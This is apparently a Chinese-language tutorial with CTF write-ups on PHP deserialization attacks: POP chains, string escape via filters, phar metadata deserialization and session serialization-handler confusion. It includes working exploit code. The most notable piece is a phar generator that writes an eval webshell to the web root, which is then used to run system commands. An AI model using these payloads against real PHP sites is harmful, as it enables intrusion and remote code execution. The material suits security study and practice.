魔术方法
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用
__set() //在尝试给对象的不可访问(如私有或未定义)属性赋值时被自动调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() //当调用一个对象中的不能用的方法的时候就会执行这个函数
反序列化漏洞条件:
-
代码中有可利用的类,类中有可用的魔术方法
-
unserialize()函数的参数可控
POP链构造
[NewStarCTF 公开赛赛道]UnserializeOne 42
题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
构造pop链:
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a = new Start();
$b = new Sec();
$c = new Easy();
$d = new eeee();
$e =new Start();
$f = new Sec();
$a->name=$b;
$b->obj=$c;
$b->var= $d;
$d->obj= $e;
$e->func=$f;
echo serialize($a);
?>
post参数就可以看到flag啦~~
字符串逃逸
[安洵杯 2019]easy_serialize_php 1
题目源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据提示传?f=phpinfo可以看到d0g3_f1ag.php
要想看到该文件,需要分析源码
要求$userinfo[‘img’]这个变量是个文件,才能利用file_get_contents查看,这个变量是serialize_info反序列化来的,serialize_info又是_SESSION序列化在经过filter函数得来的。又因为$userinfo[‘img’]有img这个键值,那么_SESSION这个变量里也要有img这个键值。
先看看需要用到的_SESSION值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';//对function赋个值
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//对d0g3_f1ag.php进行编码
序列化后为
“a:3:{s:4:“user”;s:5:“guest”;s:8:“function”;s:1:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}”
利用filter让字符串逃逸使得__SESSION包含img的键值
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION=filter(serialize($_SESSION));
var_dump(serialize($_SESSION));
?>
得到
string(154) "s:145:"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";"
过滤机制使user值变为";s:8:"function";s:59:"a
,img替代function成为第二个参数,后面手动添加一个dd
成为第三个参数就可以啦,img成功逃逸!
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
查看页面源代码发现/d0g3_fllllllag
将/d0g3_fllllllag编码后替换原先d0g3_f1ag.php 的码值即可
成功得到flag:
phar伪协议触发php反序列化
- phar文件格式
phar(PHP Archive)是一种PHP的打包文件格式,它允许将多个PHP文件和其他资源(如图像、样式表等)打包成一个归档文件,类似于Java的jar包。phar文件主要由以下四部分组成:
-
stub:phar文件的标志,通常以
<?php __HALT_COMPILER(); ?>
结尾,这是识别phar文件的关键。 -
manifest:存储被压缩文件的属性等信息,这些信息以序列化的形式存储,这是漏洞利用的核心。
-
content:被压缩文件的内容。
-
signature(可选):签名,放在文件末尾。
- 反序列化漏洞的产生
在PHP中,phar文件的metadata(即manifest部分)以序列化的形式存储。当PHP的文件操作函数(如file_get_contents(), include(), require()
等)通过phar://伪协议
解析phar文件时,会自动触发对manifest字段的序列化字符串进行反序列化操作。如果这些序列化字符串中包含了恶意构造的对象或数据,就可能导致安全漏洞。
生成phar文件的代码如下:
//实例一个phar对象供后续操作
<?php
//反序列化payload构造
class TestObject {
}
@unlink("phar.phar");
//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("phar.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();
//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?> 结尾
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data='i am bmjoker';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "bmjoker");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>
注意:本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly
配置项配置为0或Off
PharOne
开启环境发现了文件上传页面
查看页面源代码发现class.php,于是访问得到以下代码:
<?php
highlight_file(__FILE__);
class Flag {
public $cmd;
public function __destruct() {
@exec($this-cmd);
}
}
@unlink($_POST['file']);
?>
文件上传考虑phar反序列化,构造以下payload:
<?php
class Flag{
public $cmd;
}
$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php"; //将eval执行的内容写入1.php
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
运行php代码后可以在目录下看到生成的phar文件
将该phar文件上传发现无回显,修改后缀为jpg后出现正则匹配
利用gzip命令压缩绕过
压缩后将生成的test.phar.gz重命名为test.jpg再上传就能得到:
那么就可以通过phar伪协议post:
上传成功后访问刚刚的1.php,通过a来写系统命令:
得到flag:
SESSION反序列化
- session相关组件解释:
- session_start()
session_start()函数是启动新会话或者重用现有会话的第一步。
- sess_PHPSESSID
sess_PHPSESSID是Cookie名称的一个常见示例,用于存储Session ID。这个名称可以在php.ini配置文件中通过session.name指令进行自定义。
- Set-Cookie
Set-Cookie是一个HTTP响应头部,用于向客户端发送Cookie。
- $_SESSION
$_SESSION是一个超全局变量,存储与Session ID相关联的Session数据,允许php脚本访问和修改这些数据。
- 原理
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。
如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
而之所以能利用session反序列化,是因为session序列化和反序列化时的引擎不同
- PHP Session在php.ini中相关配置项
配置项 | 作用 |
---|---|
session.save_handler | 设定用户自定义session存储函数,默认为files |
session.save_path | 设置session存储路径,默认在/tmp |
session.serialize_handler | 设定(反)序列化处理器,默认为php |
session.auto_start | 指定会话模块是否在请求开始时启动一个会话,默认为0不启动 |
session.upload_progress.enabed | 将上传文件的进度信息存储在session中。默认开启 |
session.upload_progress.cleanup | 一旦读取了所有的POST数据,立即清除进度信息。默认开启 |
- Session 三种序列化方式
存储引擎 | 存储方式 |
---|---|
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
[HFCTF2020]BabyUpload1
题目源码:
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
进行代码审计
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
由以上代码可以知道获得flag条件:
-
username === ‘admin’
-
存在success.txt文件
再来看upload和download两个功能:
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
upload可以上传文件到/var/babyctf/目录下,上传后的文件名在末尾加上了哈希值,同时也有一些过滤,不过没啥影响。
elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
download可以读取var/babyctf/目录下任意文件filename
wp:
首先先传direction=download,F12得到session值
session文件命名方式为sess_PHPSESSID,此时可以传filename查看session文件
反序列化内容既没有|
也没有{}
,判断是采用php_binary的存储方式,修改php.ini让本地php环境支持php_binary,记得重启Apache
然后本地编写脚本上传admin信息
<?php
session_start();
if(isset($_GET['name'])){
$_SESSION['username']=$_GET['name'];
}
?>
运行代码传?name=admin后在tmp目录可以看到生成了对应session文件
修改文件名为sess并计算该文件的哈希值:
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
编写上传代码上传admin的sess文件:
<form action="http://0beb395b-65d0-4163-90d0-7ddeb1ecb427.node4.buuoj.cn:81/" method="post" enctype="multipart/form-data">
file: <input type="file" name="up_file"/><br>
<input type="submit" value="Send"/>
<input type="text" name="direction" value="upload"/><br>
<input type="text" name="attr" value=""/><br>
</form>
上传成功后只需要改cookie值为admin登陆时的cookie:
最后传参时加上attr=succcess.txt就可以拿到flag啦~~